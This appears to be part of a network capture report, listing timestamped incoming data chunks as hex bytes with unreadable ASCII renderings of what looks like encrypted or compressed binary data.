b4 c0 4e 84 97 e9 00 32 b4 0f ff 4e 7f 11 3a 28 61 ce d1 e8 28 56 5a 3b 67 6e 48 83 cf 37 1a f2 23 ac ae 32 77 c9 ca 33 
c5 35 7b eb b3 11 7c 69 ff 8d 0e 41 68 27 8e 37 e2 ca be 9d 5a 16 02 ac 13 1a 4e ba 6c ec 98 81 b1 af fb af 96 bc 4a 72 
08 98 1b a0 36 ea 1c e2 58 1b ea 30 96 81 d4 51 b2 e3 9a 75 45 fd 75 7a a1 de 89 88 b1 83 64 07 ce b8 3e 00 d6 42 11 
fd 14 d6 0a 5d 95 bc 49 6f 27 1d 4a e8 9e 25 5b 29 8f 04 6d be db d5 1a ab 04 ae 13 e6 5d 1f ec b2 3b 48 c2 38 3b 69 62 
d3 8f 6f bb da f3 0a f1 14 0b da 21 2d 4d 01 28 21 4f b2 6b cc 81 a4 5a cb b2 5e 03 fe 96 97 a1 63 53 81 4f d6 a2 47 b1 
48 84 1c f0 f1 da ff 39 d4 46 f3 11 a2 31 70 a7 16 3b df 9e 
Data Ascii: dzZYegFVBgX(P!-N2N:(a(VZ;gnH7#2w35{|iAh'7ZNlJr6X0QuEuzd>B]Io'J%[)m];H8;ibo!-M(!OkZ^cSOGH9F1p;

Timestamp
kBytes
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2022-09-28 05:32:41 UTC 41 IN Data Raw: f0 7c 4f 71 12 d5 95 16 eb 22 2f 3f 42 00 9b 85 f9 a6 92 ed d8 30 b4 a5 39 13 ac 5c 37 b7 9f 34 a5 09 fb 22 31 
c3 11 90 60 fb 3e b6 fd 7b 52 34 87 86 c0 ba 43 f0 1d 73 a4 63 b9 a9 ed fd b1 3c 3e 8d d0 24 63 3b b5 ec cf f6 71 3d d1 
c7 ab ca 59 58 5e 41 ea ba a2 ae b1 17 9e fa 63 67 d1 5d 66 97 1c 16 07 60 95 ae c4 21 59 19 d3 76 f9 d2 77 48 27 e6 
9e e4 03 d7 44 27 02 3a d1 7b 5c 05 8b 89 50 ea 89 96 45 57 eb d0 18 59 a4 f6 24 b9 50 30 1d 9a d4 33 a6 7b 79 99 2c 
1b 32 1a 0a 08 28 06 05 f6 ba 00 41 ea 87 b5 68 e1 88 b8 62 e2 66 fd cc bc 16 ac d3 3f 0e 70 cf 5e 45 cb 20 0d 3b 8d bc 
5a 10 08 3b 96 16 b4 ea 3c 57 31 bf e0 e4 60 64 c9 e7 e4 69 04 9f 90 7b 48 7c 0f 25 4e 7f f8 98 4c 2c fe 76 62 9b 9f 50 
27 50 89 c3 42 ef 97 f7 5d f7 9f 47 fd b6 00 c7 54 aa 44 fa 
Data Ascii: |Oq"/?B09\74"1`>{R4Csc<>$c;q=YX^Acg]f`!YvwH'D':{\PEWY$P03{y,2(Ahbf?p^E ;Z;<W1`di{H|%NL,v
bP'PB]GTD

2022-09-28 05:32:41 UTC 42 IN Data Raw: fe 9f dd 07 68 5d f1 48 ae 2d 9e 37 a0 de 77 90 4d b5 df 99 43 b4 4c b0 7b e2 57 a0 df 75 68 a2 6f 0f 63 d2 bf 
a1 a9 6d 92 b2 b1 56 ab 30 dc ce 9c 83 71 9d 1f 83 c7 47 2a 12 38 de fc b1 20 8c 2f d1 4e 38 cf b0 3a b0 fc 73 62 bd bb 
dd 84 2a b4 97 51 15 1b 92 55 16 2d fd 23 26 b9 44 d6 a7 0e 02 12 5b 79 dc 9c c6 5d 7a 81 67 ca 09 b8 11 92 a1 ce 47 df 
16 f3 22 d9 d4 3c d1 48 03 e6 1f a2 d2 37 51 2b 3b fc 2c 40 a9 6c 37 c8 ac ed 52 46 b3 c5 fb b6 02 bb b3 96 9f a0 8a ad 
f1 e0 be 13 e4 10 e6 c4 04 62 fa ab 88 8f e6 bc 96 b4 e8 3a 38 c8 11 8f b4 10 4b 87 13 17 26 18 4e 17 93 f6 6d 6d 51 b4 
5a 82 12 8b 12 7c 16 87 3f c4 0a fe e9 cf 15 73 24 1a dd 85 f9 bb 7e ff f7 ab 64 1e 80 5c 83 dd 05 ef e8 a0 00 87 a7 0f 68 
2e 56 21 c8 11 d5 9e 3d 13 22 23 3f 58 39 1e 98 e2 
Data Ascii: h]H-7wMCL{WuhocmV0qG*8 /N8:sb*QU-#&D[y]zgG"<H7Q+;,@l7RFb:8K&NmmQZ|?s$~d\h.V!="#?X9

2022-09-28 05:32:41 UTC 44 IN Data Raw: f8 70 dd 72 70 4e 6a e0 6f 9c f9 08 5d b4 64 cf ef c2 34 cd 0e 6d c8 b7 19 51 67 ef a1 eb b9 79 25 a1 86 ea c2 
96 70 3d 9a cc ac 15 16 6e 32 f6 fc d5 f5 b8 b8 a9 88 99 c2 fd fd bf a0 d0 a6 a3 6d 0d d1 28 18 c2 e7 10 81 de 2f 42 ba 9b 
7f 49 cd 54 4c af 1e 9c fb 0f ed bc 0c db 9f 19 24 c3 50 37 69 82 c8 0a 53 5d 81 1f f2 6a 1d 40 fb bf 3a 06 bb e0 b2 68 ad 
d4 d2 18 e8 ba be 16 ee 5c 58 79 b2 3b 48 ca 89 b3 65 49 1c ab 25 6a d1 d2 35 d4 16 e8 db 31 27 5e 05 39 25 6f 21 d1 
1c b6 ca a5 cb b3 43 1b 4f 96 0f a7 75 59 3c 2e d6 b3 4f 14 e5 82 36 3b dd de 32 b3 d4 46 f3 14 bb 5a 3e 81 22 6b f3 98 
38 68 e6 3e 1a 32 6c c0 3f 3a 0b 1d 7d 0c 1d d9 39 2e cc 97 88 c5 ad c3 3b b0 01 49 19 50 12 ad d9 a5 15 75 99 33 38 
ca cc bd 33 03 6a 58 84 53 6e 2c 94 4b a0 db 6b d2 d4 
Data Ascii: prpNjo]d4mQgy%p=n2m(/BITL$P7iS]j@:h\Xy;HeI%j51'^9%o!COuY<.O6;2FZ>"k8h>2l?:}9.;IPu383jXSn,Kk

2022-09-28 05:32:41 UTC 45 IN Data Raw: 7f 94 a6 49 ff ca b4 3c a5 95 37 66 20 b2 d7 c0 f0 18 11 dc 2a 9a 30 a4 5a 25 e1 c7 dc 80 06 04 58 2f fb c3 61 
cb 0b be b1 3a 10 34 66 84 08 ec d4 f9 19 d9 63 fd da 3a 41 27 ec e1 3e b8 d7 40 21 4d 9f cf 7b 56 6e 1a bb 56 c2 a4 e7 
12 2a 52 da 30 0f a6 8a 9b c4 ea 34 0b b6 d0 24 db f9 7b e2 9a 19 1a d3 09 73 82 0c 17 f2 76 13 21 0d 86 b4 0d b6 9e c5 
da 9f cc f9 12 a8 3e be ed 3e 0e 72 3a c7 29 50 08 87 3f a6 23 fb 50 58 39 e9 a6 2d ea 38 57 06 ad e7 2d 73 75 ce 67 e0 
06 f4 9c b8 30 3b 94 04 27 53 05 0e 20 4c 2a fc 3f e7 98 bf a9 06 79 ac fd 37 5a 97 fd 56 d3 c2 de dd b6 04 74 53 a5 79 
67 4b cd 66 4c 01 b3 00 ea ba 56 80 b6 77 c6 91 3f ae a3 2e a2 dc 8c a9 ae f5 12 76 86 1d fc 64 b1 11 3a 51 76 fd f8 8b 
2f 5c 71 1a 75 6b 63 61 c6 44 a8 f3 23 a6 b6 1f 63 ef 
Data Ascii: I<7f *0Z%X/a:4fc:A'>@!M{VnV*R04${sv!>>r:)P?#PX9-8W-sug0;'S L*?y7ZVtSygKfLVw?.vd:Qv/\qukcaD#c

2022-09-28 05:32:41 UTC 46 IN Data Raw: 59 99 de df b5 3a a1 33 f7 4c 2e d9 8a 0c 86 fa c0 44 10 0d f5 7b 2e b6 ea 8f 61 1b 96 73 4d 04 f3 37 20 61 69 
db 6f 0e 3b 12 5b 79 dc 86 c4 35 e7 82 67 c1 66 48 10 99 ab cc 42 a0 ac ef 0f da f0 3c e0 48 03 e6 19 96 fb bb ff 28 0b f1 
43 91 a8 6c 3d ca b8 90 fc 44 b0 d6 d4 ce 8b 9d 99 ef 2c b2 88 d2 75 18 be 04 bb cd e7 cb 0e 60 ee da 27 8f f7 ba 8f d8 
75 3d 1e b7 9d 9d b6 6f d1 a1 38 e4 49 c5 7f 1e 99 d3 79 10 e1 b4 5a 86 10 f3 89 74 5a 82 13 f9 18 a5 07 ff c5 69 63 14 
dc 85 f5 ca 1e 82 4c a1 1e 18 81 57 d3 6c 23 c9 c6 df b6 fa 16 0b 43 d2 54 26 85 a4 d5 91 39 11 36 52 8b 58 28 18 87 ed 
dd 0d ed c2 1c 3e b1 44 a2 86 5c 29 9d 02 49 1d 0f d1 26 29 fd e0 29 60 fd 10 b0 cb 47 e9 4f 12 80 ea be 5c c8 32 6d 26 
61 af c6 ab fc b1 2b 17 b1 96 08 72 33 cc 6d d5 db 
Data Ascii: Y:3L.D{.asM7 aio;[y5gfHB<H(Cl=D,u`'u=o8IyZtZicLWl#CT&96RX(>D\)I&))`GO\2m&a+r3m

2022-09-28 05:32:41 UTC 48 IN Data Raw: aa 0d 90 3c 7d 3c 84 dd e6 50 ba 2e 89 e4 5c 3e 77 d9 22 89 38 35 fd 40 82 13 0b 01 7b 41 33 cf db ae 3b 9c 
92 a0 2c 5e 93 5f a1 8c 28 03 e1 14 9a 12 c1 cb 08 55 4d ea df 56 42 72 ba ac d7 8e a2 67 d3 62 c2 15 15 e8 3a 65 5e 
42 d3 14 04 29 f6 b9 9a 3a 91 54 b3 ad ab 67 20 bb 81 a7 7c 32 41 68 d0 17 3c d0 0d ca c6 29 d1 e0 f4 3e 4e e7 2c 0e 
7b 9b b5 4a 37 7f 0f 05 3d 95 64 a2 81 ad 12 80 6c 4f 21 c6 48 1a ba b2 e6 4b 31 c7 f9 70 61 7c 7b c3 a7 61 8f 8b 96 ab 
b2 96 f1 8e 9a 34 78 32 75 f9 4f bd 92 ca fc e5 0a 8d cd a0 05 81 9b 0f 37 0d 75 8e 90 62 b9 9f f9 ce 83 0d b2 de c5 ff a8 
ee f2 2b 40 a3 28 dc b4 83 ce f6 00 bb f4 c5 c3 27 1d c3 ba c7 f3 2d 1f ec bb 74 e3 c9 98 5e 31 82 96 ce a0 cf dd ed 62 d4 
37 41 36 c0 b8 48 ce 1f 90 ad 2a 02 87 6f ac 1d 29 a1 52 
Data Ascii: <}<P.\>w"85@{A3;,^_(UMVBrgb:e^B):Tg |2Ah<)>N,{J7=dlO!HK1pa|{a4x2uO7ub+@('-t^1b7A6H*o)R

2022-09-28 05:32:41 UTC 49 IN Data Raw: 43 d2 ad 56 56 8f 0d 48 b9 5d b0 18 e2 6f e5 63 41 95 6e c2 79 5e c5 92 8f a8 24 42 38 c1 ab e0 b7 55 ca 44 
d7 6f 88 d3 6e 26 fe a2 ad cb 2b 44 a8 55 d7 1a fa ad eb 07 a4 57 21 78 fa cd a2 a5 09 a4 20 ac 07 80 ad 94 1e cf aa 90 
58 8a fc 82 af 37 79 0b 1d 33 dc a1 73 81 cc 64 f4 5f a2 a3 f7 50 d8 50 c7 66 f8 81 7f c7 9e a0 35 a9 c6 67 4d e7 22 b0 
18 fb 3a f7 7e 76 7a 31 98 d6 5b 2c 52 97 c1 31 76 3c c2 95 57 70 81 87 fc 09 63 c2 b5 9d 88 70 21 7f 43 f8 02 0a 40 4c 
62 e7 55 4a 28 12 29 e1 e1 4e 59 88 11 3d 71 75 1b c4 fd 30 07 07 4e 35 1d 92 4d c5 0b 85 8f fc 8d fb 0b 1a fd c3 b3 f7 
28 50 61 46 94 6d e3 c2 60 ad 8f 30 43 06 3f 9d 0c 85 61 8b bb 06 7c 98 e3 f3 4e 90 8c d7 0f e7 90 6d 01 21 fa 10 52 4e 
5c cc 60 4d b6 f5 88 d0 d1 ad 83 f2 1f ba 4d 29 2c 01 c3 
Data Ascii: CVVH]ocAny^$B8UDon&+DUW!x X7y3sd_PPf5gM":~vz1[,R1v<Wpcp!C@LbUJ()NY=qu0N5M(PaFm`0C?
a|Nm!RN\`MM),

2022-09-28 05:32:41 UTC 49 IN Data Raw: 70 19 fb b3 6c 02 8b 27 e1 b6 f5 2c b2 12 22 76 d3 16 79 3e 22 0c d0 17 49 73 d6 9d e1 a5 8b 7f a8 85 6c 5e 
b5 53 2c f9 c4 cc 04 01 3f 71 d8 36 01 63 ed fc 34 81 87 08 a4 c3 9f 8f a8 cf e6 0a 25 73 6f 36 82 b6 01 f7 ba 04 5d 5e e0 
01 43 5a e2 61 16 52 49 e7 d7 a6 db 92 c1 d9 19 f7 fb 9f 0a 3b a3 e9 1b ce ce e2 9d f9 8d df a3 36 c4 2a f9 7c c9 6c 98 
2d 38 7f a0 69 04 74 78 5b d4 e7 03 a6 e2 d5 b3 27 a1 d6 b6 9f a4 34 6e a7 30 d0 07 97 14 77 88 5e a5 14 39 dc 00 0c 
17 52 15 ef 87 8f c2 6d bd 53 67 92 e1 ea bc 31 65 7c 7e bc 2e 38 75 f2 30 8b 79 91 32 58 98 09 40 5e 72 d3 2a ca b3 09 
92 ed 0a 5e a2 1c 8c 6a c2 45 ee 0c 1f f3 e0 0d d3 8a 3d 6b 9a 0c 38 93 61 23 10 e3 18 34 ca 5d 5e bc 6c 8d 0e 28 31 cd 
8c ba fa 84 c3 94 3f 43 06 cc 68 60 ea 9e e7 a0 20 90 9e 
Data Ascii: pl',"vy>"Isl^S,?q6c4%so6]^CZaRI;6*|l-8itx['4n0w^9RmSg1e|~.8u0y2X@^r*^jE=k8a#4]^l(1?Ch` 

2022-09-28 05:32:41 UTC 51 IN Data Raw: db 8e 52 62 de b8 21 7a f6 a2 4a 11 84 ab f0 ab b5 c7 4a 88 dc 5c b8 76 ad da 64 d5 e1 1f d7 4f e0 bf e1 71 f5 
8f ea 41 20 ed a7 f7 4c 24 eb 4a 74 1e 35 ee d4 fd 21 ad b9 b9 50 ea f5 9e 7f e4 1d c2 67 fb d0 f5 9b 3e 45 46 32 a2 0f c8 
c0 10 72 29 c5 f7 02 a4 f9 b9 47 88 bd db 45 94 e0 e3 7a 9e ab 14 a5 7e 53 92 46 ec f0 17 51 39 58 fa f2 67 db bf b6 82 
36 d0 52 37 91 66 a3 68 29 d7 c7 d1 d7 54 d5 9c 4b 82 ae 9d 73 ea ea 14 1a 6d a5 5f 3c e2 2c a7 d9 d9 33 bb 68 71 28 
f3 4f 45 a1 12 71 ab 56 cc 15 a1 33 8d 7c e7 8b 17 11 1e 29 41 1a 8f dd 79 0e 4d cc 2c f8 fb 48 24 68 0d 99 92 9d 88 c8 
b6 e5 ba 72 c0 52 6c d1 c9 6e d0 28 8a b2 8e 4a 26 9c 6d dc 1a c5 e3 cb 1d c6 a3 36 63 42 30 32 4d b8 6a 78 2b 13 a5 
3c 52 20 26 9c 7f 08 e2 d7 0a eb bc fa dd 45 60 a6 25 a9 
Data Ascii: Rb!zJJ\vdOqA L$Jt5!Pg>EF2r)GEz~SFQ9Xg6R7fh)TKsm_<,3hq(OEqV3|)AyM,H$hrRln(J&m6cB02Mjx+<R 
&E`%
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2022-09-28 05:32:41 UTC 52 IN Data Raw: 6d e6 52 4f 77 c8 b3 fb 03 82 6f 0f cf 97 15 26 e4 56 25 04 0d c9 3a 57 c6 aa 2c da 68 1f 19 f3 a5 38 12 22 b9 
b0 7a be aa c1 44 c6 a5 af 99 ee cd 35 a3 b3 88 4c 51 e4 06 64 8a 18 1a 46 7c d1 0e e9 4d 3e 51 da c8 25 c7 07 2f 25 98 
b6 01 1e 89 8c b6 c8 f7 5a 2d 4a a1 94 fe 75 5f a9 6f d5 fb 4d 69 48 c9 35 66 f1 dd ef 64 d7 1f f3 17 a2 0e 35 fe 34 7b df 
e1 1d 1a d9 35 31 49 63 b2 c7 35 03 1d 62 78 11 f9 3f e3 fa ce 88 c9 b5 59 1d c2 02 45 32 0c 13 8f 4d a3 15 c2 89 6e 29 
dc e0 7e 21 e7 6b 5d 82 c4 ad 28 90 d6 a2 fd 6b bd 4e 95 f9 98 3a 2c 48 b6 7f f0 ab a5 c8 43 6b ea 64 0a 67 79 b3 81 ad 
7c 90 ba a9 34 a8 13 a3 56 9c d4 71 d6 3d ba 30 33 2d 5c 35 cc df 25 24 f2 2b c3 4e 95 c8 d9 11 a6 dc 00 56 34 a5 f3 7b 
e0 b0 c8 22 67 1b 41 5b 35 2f f8 3d d0 be 3b f0 8b 
Data Ascii: mROwo&V%:W,h8"zD5LQdF|M>Q%/%Z-Ju_oMiH5fd54{51Ic5bx?YE2Mn)~!k](kN:,HCkdgy|4Vq=03-\5%$+NV4
{"gA[5/=;

2022-09-28 05:32:41 UTC 53 IN Data Raw: fb da f4 04 a4 f6 e7 c5 e4 30 3e 9e d7 25 db d2 71 89 28 19 d3 d6 05 08 06 0c 16 f7 44 16 2d fa 87 b4 8a b5 
87 b8 40 9f cd fc cc b8 68 c1 4f 3f c7 75 eb cf 14 56 21 0c 3f a6 59 37 8e 08 f2 93 2b 2d c7 3c 45 00 bc e0 8d 70 64 c9 ac 
e5 72 15 a5 b8 3a 49 6c 05 9b 49 6a c2 e8 4d 30 fe 10 44 90 be af d8 bc 99 d5 7b 53 94 e9 5d 90 b9 45 dc b6 00 6f 45 b4 
7e 82 43 ff 61 0f 06 dd cd eb ba 68 93 d9 d4 0e 90 1a 86 8a 2e a0 d7 52 a9 d0 de 12 37 3f 1c d4 66 e3 11 3b 2f 77 fd 7c 
d2 2f 5c b8 dc 5c 6b 35 69 c6 45 b8 f3 97 b7 b6 1f aa ee e8 30 8e 23 68 ef a1 14 aa 6a fc a5 09 40 27 21 6c 1c eb c1 95 
77 be 2f cd ac 1a 1f 27 bc 97 ea e6 ff b1 af f9 97 90 d3 30 72 5d 92 e7 a0 ad db 0b e2 0a 09 ea 30 d8 80 81 40 79 bb 98 
74 53 e6 30 5d 87 c9 54 fa 53 82 8c 0d d8 94 03 26 44 
Data Ascii: 0>%q(D-@hO?uV!?Y7+-<Epdr:IlIjM0D{S]EoE~Cah.R7?f;/w|/\\k5iE0#hj@'!lw/'0r]0@ytS0]TS&D

2022-09-28 05:32:41 UTC 55 IN Data Raw: e5 a9 7d 37 a9 99 c9 50 52 b0 43 e3 bf 25 8b 99 46 35 87 88 bf da c5 8b 87 d5 05 e6 c6 32 e5 fb b6 88 b2 c1 
91 8f b2 c5 50 28 b9 b0 89 b4 79 38 0a 3b e6 26 92 27 b5 90 d7 6d c8 08 1f 59 84 12 49 6b df 59 80 3f 36 43 75 bf f9 c5 
94 55 4e de 94 ff e1 6a 16 f4 a0 1e c9 e0 c6 af df 23 cc a6 5a a1 81 a7 ce 27 11 56 23 f8 67 b0 85 39 02 22 8a 5a 41 2c 
0d 85 2c c5 b7 ec d3 18 39 c3 27 11 97 5c 18 f9 93 35 b4 0f b4 44 24 ea 8c 90 f5 9b 93 b7 f6 53 2e 52 00 81 fb ba a5 a6 
3f 77 2f 63 88 c1 5b f9 b0 2d 5d cd 9e 25 65 37 c6 91 52 da 1a 1b 8e af db 31 a7 58 f7 3e 40 dd 82 88 82 5b 19 fb c5 67 
a8 1c c0 b1 3c 14 82 0f 51 0e c2 5c 38 76 17 72 ea f2 6e 2e 51 e2 f2 45 fa b8 36 21 33 7a db 0b 2a 7c 28 89 39 9f 3b e4 
02 57 c6 a8 f7 0b b5 f6 b3 b6 65 31 0c 9e 6f 56 7e d6 68 
Data Ascii: }7PRC%F52P(y8;&'mYIkY?6CuUNj#Z'V#g9"ZA,,9'\5D$S.R?w/c[-]%e7R1X>@[g<Q\8vrn.QE6!3z*|(9;We1oV~h

2022-09-28 05:32:41 UTC 56 IN Data Raw: 64 49 0c 83 ad 75 95 d8 e4 d4 b8 6d da 21 27 5e 03 21 d6 75 d3 44 13 9f 2c 8f cb b2 58 2b 4c 96 fa 87 be 59 
a6 2e 0e 88 4d 6f 48 82 a0 3f 2c fb 3a 39 c6 46 9f 3a a2 77 36 a7 32 65 2c 84 c0 43 cd 33 a1 ef 60 eb c7 33 65 8c f0 00 f5 
ff 2a 41 5d bc 88 cf b5 f0 78 90 9d 62 d6 a2 05 d6 f5 8e 15 71 8a 37 4f c5 52 96 cb 07 7d 5b 82 3c ae 2d 97 4d a4 c5 9c 
a7 a0 93 ec b3 3e 29 4c b0 7c c9 e9 a3 32 64 9f a2 77 0f 63 d2 b3 a1 aa 7c d6 ab 2f 59 52 16 bd 50 9c 83 75 b7 3a a8 76 
44 e9 00 34 df c4 b1 ec a7 2f d1 4e 38 ca bf e6 ba bb c2 4e 6d 4d de 7b 2a b4 91 24 79 e8 88 40 6d 33 fe 25 27 ba 62 f0 
8d 75 9c 79 7f 78 f6 7a c6 1a 66 82 67 c5 09 be 11 2e 85 cb 57 c2 01 7f 23 de f2 47 4e 4e 03 e1 10 e3 f9 e0 51 ec 27 f5 
2c 4f a9 6a 37 fb 89 ca 53 64 b0 d6 fb b5 24 9d 99 ed 
Data Ascii: dIum!'^!uD,X+LY.MoH?,:9F:w62e,C3`3e*A]xbq7OR}[<-M>)L|2dwc|/YRPu:vD4/N8NmM{*$y@m3%'buyxzf
g.W#GNNQ',Oj7Sd$

2022-09-28 05:32:41 UTC 57 IN Data Raw: b7 29 92 b3 34 39 c8 3d 85 a1 3c 44 01 bc f1 01 b1 59 f5 67 be 69 c9 d6 b8 3a 48 7c 14 27 b4 57 9a 23 16 2c 
da 1c 44 99 bf af c9 50 80 eb 25 58 cd f7 c5 9d b9 45 dd b6 11 67 3d 8a 1b 49 19 dc 55 03 06 dc cc eb ab 50 4b e7 b8 c5 
cd 39 3a 8f 2e a2 d6 52 b8 84 2a 2c 47 b0 41 fc 42 ff 11 3a 2e 77 ec f8 f2 10 2c 73 80 74 33 2d 69 c6 44 a8 e5 23 db 89 
6a 61 b1 c2 3c 9c 23 68 ee a1 02 7a e2 c3 1f c0 1f 68 95 e7 1c e1 c0 95 61 52 c7 f2 e8 13 43 68 64 0e ea e6 fe b1 b9 f1 
ac d0 97 f9 2c 08 7a 7e a0 2d da 1b f4 32 42 aa 74 11 de d4 bc d5 bb 9b 75 43 f7 58 c6 c7 8d 9d a4 05 c6 34 0d db 95 13 
30 c0 f1 71 42 1b 96 0a 21 d3 a8 3a da 26 0b 40 24 f3 7c 7d 7f e0 1a 3c be d1 c3 1d d5 b3 aa 52 97 56 68 b5 eb 6a 4e c8 
e6 10 75 49 93 c2 c6 68 b3 d8 1b 85 3c 47 da 21 36 5e f4 
Data Ascii: )49=<DYgi:H|'W#,DP%XEg=IUPK9:.R*,GAB:.w,st3-iD#ja<#hzhaRChd,z~-2BtuCX40qB!:&@$|}<RVhjNuI
h<G!6^

2022-09-28 05:32:41 UTC 58 IN Data Raw: 34 36 e5 b4 80 82 06 e6 32 74 5a 86 29 eb bf 85 08 ff 1e 6d 60 8b dd 85 ff c8 1c ff f2 fd aa 1c 5f 41 66 b0 23 c9 
c2 dd b6 87 f6 57 ed d5 8b 32 d8 7d d5 91 3d 13 34 2f 86 04 9e 1f 5a f9 cc d7 ed c2 18 3c b3 39 4c db 9c 2e 7c 14 8c ca 
0f d1 22 2b fd 9d b9 3e 36 17 5e e7 af 84 34 87 80 ea ac 50 01 40 a7 2d 88 b9 e9 1f fd b1 2d 3c b3 91 51 3c ee b4 14 d5 
5f 6b 1b f7 c5 8b a4 be 50 44 10 c7 2f 84 2c c3 37 9e f2 c3 f4 c9 29 64 5f 39 e7 27 cc e7 0e c4 54 f9 88 d3 07 9b ce b1 b2 
27 5e 91 45 03 df 40 b4 22 df ae 47 5e 8b 29 bd 23 ee 8b e5 04 c6 eb 0f 50 f9 a7 05 2e 94 99 30 1d 9e d6 a2 c3 21 63 fe 
28 ed 1a bb 78 08 22 04 17 65 44 23 68 13 84 40 07 54 fb b8 68 9f cc 7b d4 4b 26 b6 4f cb 0e 88 97 cf 38 5e 20 9e 3f 93 
48 de 8d fc 3b fa 49 2d ea 3c 44 87 a4 13 1b 07 
Data Ascii: 462tZ)m`_Af#W2}=4/Z<9L.|"+>6^4P@--<Q<_kPD/,7)d_9'T'^E@"G^)#P.0!c(x"eD#h@Th{K&O8^ ?H;I-<D

2022-09-28 05:32:41 UTC 60 IN Data Raw: 9b 36 4c de a6 bc 43 d9 33 31 d2 60 f2 be 0f 01 b6 60 45 b3 ff 3f 41 f9 81 88 92 cc cc 1c aa 03 d3 90 a2 10 d6 
4d b3 15 d0 f3 77 2b ff e1 03 80 07 68 5b 82 2a ae c8 ed 71 a0 ec 6e 5d ec 93 f9 b3 3e 3f 4c 99 05 f5 ad 91 cd 49 c8 a2 
60 0f 63 c4 b3 cc d3 40 92 99 a8 43 0f 16 a7 50 9c 95 75 06 43 94 32 76 28 46 92 de df b1 20 9a 2f 24 34 04 ce 96 14 30 
7f c2 52 6d a5 e3 7b 13 cf ad 20 50 1a 2e fc 6c 2f fe 3d 1d ba 1f 8b 74 70 ad 13 b3 de f7 64 c6 4e 5c 82 ca be f0 bb 20 98 
b9 6a 56 dd 01 ef 19 de 2f 3c b7 4b 32 e3 7d 20 f9 c0 51 28 1d f5 21 33 50 6f 06 c9 d4 49 52 44 b0 d2 c0 b5 75 e1 60 e8 
31 a1 22 0d da 18 be 00 c2 13 73 b7 fd 61 cb a6 50 2b f7 be 8d a3 d3 3d db cf 48 8c 85 15 69 04 38 e0 26 1b 68 1e 66 ad 
94 6e 60 b5 62 27 12 88 32 74 4c 86 1a 96 e3 dd 8d 
Data Ascii: 6LC31``E?AMw+h[*qn]>?LI`c@CPuC2v(F /$40Rm{ P.l/=tpdN\ jV/<K2} Q(!3PoIRDu`1"saP+=Hi8&hfn`b'2tL

2022-09-28 05:32:41 UTC 61 IN Data Raw: 05 55 cc ca 4b 42 dc 61 48 06 c0 59 d3 bc 32 83 4d 60 c7 91 39 86 c3 2e ca 43 35 a9 e7 ce be 82 b2 1d fc 66 
b7 11 be bb 50 fc 9b c2 5f ea 71 dd 74 6b 62 69 1e d1 8f f2 46 a7 fa a8 63 ef c2 30 d2 23 28 78 e1 12 1d 7a fc 1d c0 41 68 
21 a9 1c 25 56 df 71 38 3f 15 14 13 1c 68 bc 40 ea fe 69 29 ae 9d 84 b0 6a f9 73 08 92 30 a0 49 4d 83 e3 5f 1a 9a 89 11 
81 d4 40 9b bb 2b e2 11 e0 36 4e a7 73 9d fb 05 82 62 0d 33 02 74 26 af 55 41 bc 1b c9 0a 55 82 a8 3e 42 7f 1b 2f f0 67 
84 7d 20 e0 b2 6d be 89 5b 7c c2 c2 ae cb 52 54 37 b5 b3 3d 4e 00 7e 79 62 3d 1b 0b fb 6a d1 d8 eb d5 3c 47 43 46 27 
2b 04 81 e5 6f b4 44 1c 99 8c 95 52 d5 58 5e 4b 72 56 a7 75 59 a9 2f d6 ee d4 00 4e f7 37 ff 33 db ef 39 d4 47 f3 b1 3b 
0d 30 d0 35 65 1c 9e 1e 43 d9 32 31 28 f9 68 c1 4b 02 87 
Data Ascii: UKBaHY2M`9.C5fP_qtkbiFc0#(xzAh!%Vq8?h@i)js0IM_@+6Nsb3t&UAU>B/g} m[|RT7=N~yb=j<GCF'+oDRX^
KrVuY/N739G;05eC21(hK

2022-09-28 05:32:41 UTC 62 IN Data Raw: 58 28 1d 85 b8 90 b8 ed c0 18 61 95 39 15 87 5c af af 14 34 a7 0f 4f 12 2b eb 9c 90 a6 cd 14 b6 e6 53 2c 16 
87 80 eb ba ed f7 1e 73 2f 63 24 90 6f fd b0 2d d5 9c 91 24 62 31 36 c1 d5 db 1a 1b 4e ff 8b 35 a4 58 8b 6e c7 dc 85 88 
fe 09 9e fa c2 67 50 4e 04 b1 3b 14 32 5f 95 0e c5 5c 98 26 d3 72 fa f2 6e 7e 27 e6 e2 45 36 96 40 25 20 7a 9f 3a 5c 78 
2a 89 3d af 8b e5 05 57 52 9b 30 0b a6 f6 fb 85 ea 30 1c 9e f7 66 db d2 7b 99 15 5b 1a d7 0a 08 ab 4e 17 f6 46 16 ac a8 
87 b4 06 b4 79 fa 68 9f cd fd d5 fc 3c d1 4d 3f 3b 30 e4 cf 39 56 a1 49 3f a6 2b 27 13 4c 3b 92 3c 2d 03 78 44 01 bd e0 
34 25 64 c9 64 e4 e8 50 9d b8 3b 48 b1 40 27 59 6b c2 68 0a 2c fe 51 44 7e 9b af d8 51 89 20 3d 5a 97 f6 5d a0 fe 45 dd 
b4 00 ea 13 b4 7e 4a 42 05 26 4e 06 de cc 1e fd 50 82 da 
Data Ascii: X(a9\4O+S,s/c$o-$b16N5XngPN;2_\&rn~'E6@% z:\x*=WR00f{[NFyh<M?;09VI?+'L;<-xD4%ddP;H@'Ykh,
QD~Q =Z]E~JB&NP

Timestamp
kBytes
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2022-09-28 05:32:41 UTC 64 IN Data Raw: a3 dd 22 c9 4e 93 f8 b3 bb 5d 4c b0 7d c9 0e d4 cc 45 68 a2 dd 7b 63 d2 b7 a1 70 08 90 a8 ac 7b 59 62 a7 50 
9d 83 58 c2 39 a8 31 47 50 57 31 de dd b1 b5 f9 2f d1 4f 38 2d d2 15 a0 dd c2 87 12 a5 f5 79 2a 45 ee 22 61 1a 92 62 ec 
2f fe 3f 0b e3 e2 f0 8d 72 9c 27 da 7d f7 65 c6 cf cb 82 67 c7 09 25 90 99 a1 cf 56 34 80 ef 0f df f2 72 cc 48 03 e3 35 89 
7a c0 51 2a 0b dc af 4f a9 6f 37 8d 2f ed 52 45 b0 af 55 b5 24 9c 99 d6 57 a0 8a a8 da c9 3d 00 d4 12 e6 c2 80 62 fa a5 
88 aa 73 be 8d a0 c5 7c 9a b3 b1 8e b4 a5 e5 a1 38 e1 26 ff f4 1e 93 d3 6d 6d da b4 5a 81 12 94 b9 74 5a 82 3f d3 91 de 
bc fa c5 39 87 e5 dd 84 ff 7c 81 ff f7 a0 1e 1c 0f 41 ae df 23 85 4e dd a0 86 a7 93 cf d6 56 33 f8 f6 59 91 3d 12 22 1f b2 
58 28 1d 85 91 2d b8 ed c3 18 88 28 39 15 87 5c 2d 
